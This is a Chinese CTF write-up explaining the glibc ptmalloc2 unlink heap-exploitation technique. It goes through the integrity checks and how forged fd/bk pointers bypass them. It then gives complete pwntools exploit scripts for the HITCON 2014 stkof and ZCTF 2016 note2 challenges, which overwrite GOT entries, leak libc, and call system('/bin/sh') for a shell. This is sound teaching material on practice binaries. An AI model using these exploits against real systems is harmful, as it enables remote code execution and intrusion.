unlink Surager

unlink是个啥

unlink是ptmalloc2中的一个对堆的基本操作。

unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来。一下情景可能会用到:

  • malloc从恰好大小合适的 large bin 中获取 chunk或者从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
  • free的前后合并
  • malloc_consolidate前后合并
  • realloc前向扩展

unlink由于使用较为频繁,已经被定义成了一个宏。

unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
          || p->bk_nextsize->fd_nextsize != p)
        malloc_printerr ("corrupted double-linked list (not small)");
      if (fd->fd_nextsize == NULL)
        {
          if (p->fd_nextsize == p)
            fd->fd_nextsize = fd->bk_nextsize = fd;
          else
            {
              fd->fd_nextsize = p->fd_nextsize;
              fd->bk_nextsize = p->bk_nextsize;
              p->fd_nextsize->bk_nextsize = fd;
              p->bk_nextsize->fd_nextsize = fd;
            }
        }
      else
        {
          p->fd_nextsize->bk_nextsize = p->bk_nextsize;
          p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

这段源码看不懂不要紧,因为我也看不懂。挑点重点看。

if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

这一段表示两个chunk的size和prev_size要对应。在伪造时可以故意为之。

0x0    0x0000000000000000    0x0000000000000031  <=chunk1
0x10   0x0000000000000000    0x0000000000000021  <=p
0x20   0x4141414141414141    0x4141414141414141
0x30   0x0000000000000020    0x0000000000000060  <=chunk2
0x40   0x0000000000000000    0x0000000000000000

当free(chunk2)时,chunk2的prev_size对应fake chunk的size,因此可以绕过第一步检测。

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

紧接着,ptmalloc2把fd和bk取了出来。

 if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

这一个的绕过可以通过构造p的fd和bk,使得fd+0x18处是p的地址,bk+0x10处是p的地址。

所以假设p的地址为ptr,那么构造fd为ptr-0x18,bk为ptr-0x10。那么fd的bk位置上是p的地址,bk的fd位置上是p的位置,即可绕过检测。

那么绕过检测之后ptmalloc2干了啥呢?

fd->bk = bk;
bk->fd = fd;

最后p的地址被换成了fd的地址,即把p分配到了存放p地址的低0x18的位置。因此可以通过修改p的信息来覆盖其他chunk的地址,从而实现任意地址写。比如把什么free_got改成system啥的。

例题

搞了两个CTFWiki上的题目。

2014 HITCON stkof

程序分析

$ file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
[*] '/home/abc/work/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启NX和canary,没开PIE。

这题基本没有什么输入和输出。就靠自己IDA。

malloc功能:

  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  ::s[++dword_602100] = v2;
  printf("%d\n", (unsigned int)dword_602100, size);
  return 0LL;

.bss:0000000000602140 s               dq ?                    ; DATA XREF: sub_400936+78↑w

s存在于bss段。size没有检测。

edit功能:

  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v2 = atol(&s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v2] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  n = atoll(&s);
  ptr = ::s[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;

其中第二个fgets处没有检测输入的size大小,可以造成堆溢出,用来修改物理相邻chunk的内容。

free功能:

  v3 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v1] )
    return 0xFFFFFFFFLL;
  free(::s[v1]);
  ::s[v1] = 0LL;
  return 0LL; 

free后清零。

show没卵用:

  v3 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  v1 = atol(&s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !::s[v1] )
    return 0xFFFFFFFFLL;
  if ( strlen(::s[v1]) <= 3 )
    puts("//TODO");
  else
    puts("...");
  return 0LL;

整理思路

  1. 在malloc chunk之后,将指针存入bss段的一个数组之中。
  2. 输入时没有检测size,因此可以无限输入造成堆溢出。
  3. free后清零,不能用UAF。

所以思路很清楚,用unlink将一个chunk申请到s附近,覆盖其他chunk地址为已有可控函数地址,使用编辑功能更改地址内容拿shell。

EXP

#!/usr/bin/env python
from pwn import *
io = remote('node3.buuoj.cn',26926)
elf = ELF('./stkof')
libc = ELF('x64-libc-2.23.so')
context.log_level = 'debug'
ru = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
se = lambda x : io.send(x)
it = lambda : io.interactive()

def add(size):
    sl('1')
    sl(str(size))
    ru('OK\n')

def free(index):
    sl('3')
    sl(str(index))
    ru('OK\n')

def edit(index,content):
    sl('2')
    sl(str(index))
    sl(str(len(content)))
    sl(content)

ptr = 0x602150
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

add(0x100)#1
add(0x30)#2
add(0x80)#3
add(0x30)#4

payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10) + p64(0)*2 + p64(0x30) + p64(0x90)
edit(2,payload)
free(3)
payload = p64(0)*2 + p64(free_got) + p64(puts_got) + p64(0) + p64(atoi_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
ru('FAIL\n')
ru('FAIL\n')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] puts_got :' + hex(leak)
offset = leak - libc.sym['puts']
print '[*] offset :' + hex(offset)
system = offset + libc.sym['system']
edit(4,p64(system))
sl('/bin/sh\x00')
it()

exp解析

add(0x100)#1
add(0x30)#2
add(0x80)#3
add(0x30)#4

先开四个矿。准备unlink。

payload = p64(0) + p64(0x30) + p64(ptr-0x18) + p64(ptr-0x10) + p64(0)*2 + p64(0x30) + p64(0x90)
edit(2,payload)
free(3)

构造成如下情况:

0x0    0x0000000000000000    0x0000000000000041  
0x10   0x0000000000000000    0x0000000000000030  
0x20   0x0000000000602138    0x0000000000602140
0x30   0x0000000000000000    0x0000000000000000
0x40   0x0000000000000030    0x0000000000000090
0x50   0x0000000000000000    0x0000000000000000
...

检测全部绕过。得到一个标号为2,地址在0x602138的chunk。

payload = p64(0)*2 + p64(free_got) + p64(puts_got) + p64(0) + p64(atoi_got)
edit(2,payload)
edit(1,p64(puts_plt))
free(2)
ru('FAIL\n')
ru('FAIL\n')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] puts_got :' + hex(leak)
offset = leak - libc.sym['puts']
print '[*] offset :' + hex(offset)

之后利用chunk2把chunk1改成free_got,chunk2改成puts_got,chunk4改成atoi_got。再把free改成puts,泄露puts_got地址。得出libc基址。

system = offset + libc.sym['system']
edit(4,p64(system))
sl('/bin/sh\x00')
it()

最后把atoi改成system,/bin/sh送进去,拿shell。

2016 ZCTF note2

这题就不具体分析了,跟上一个题差不多。就是这题edit函数里面size没有检测,当输入0时利用unsigned可以造成无限输入,而malloc只会分配size为0x20的chunk。造成堆溢出进行伪造。

io.recv()
io.sendline('1')
ru('address:')
sl('1')
payload = p64(0x0) + p64(0xa1) + p64(ptr-0x18) + p64(ptr-0x10)
add(0x80,payload)
add(0,'a')
add(0x80,'a')
free(1)
payload = 'a'*0x10 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)
payload = 'a'*0x18 + p64(elf.got['atoi'])
edit(0,payload)
show(0)
ru('is ')
leak = u64(io.recv(6).ljust(8,'\x00'))
print '[*] atoi_add :' + hex(leak)
offset = leak - libc.sym['atoi']
print '[*] offset :' +hex(offset)
system= offset + libc.sym['system']
edit(0,p64(system))
ru('>>\n')
sl('/bin/sh\x00')
it()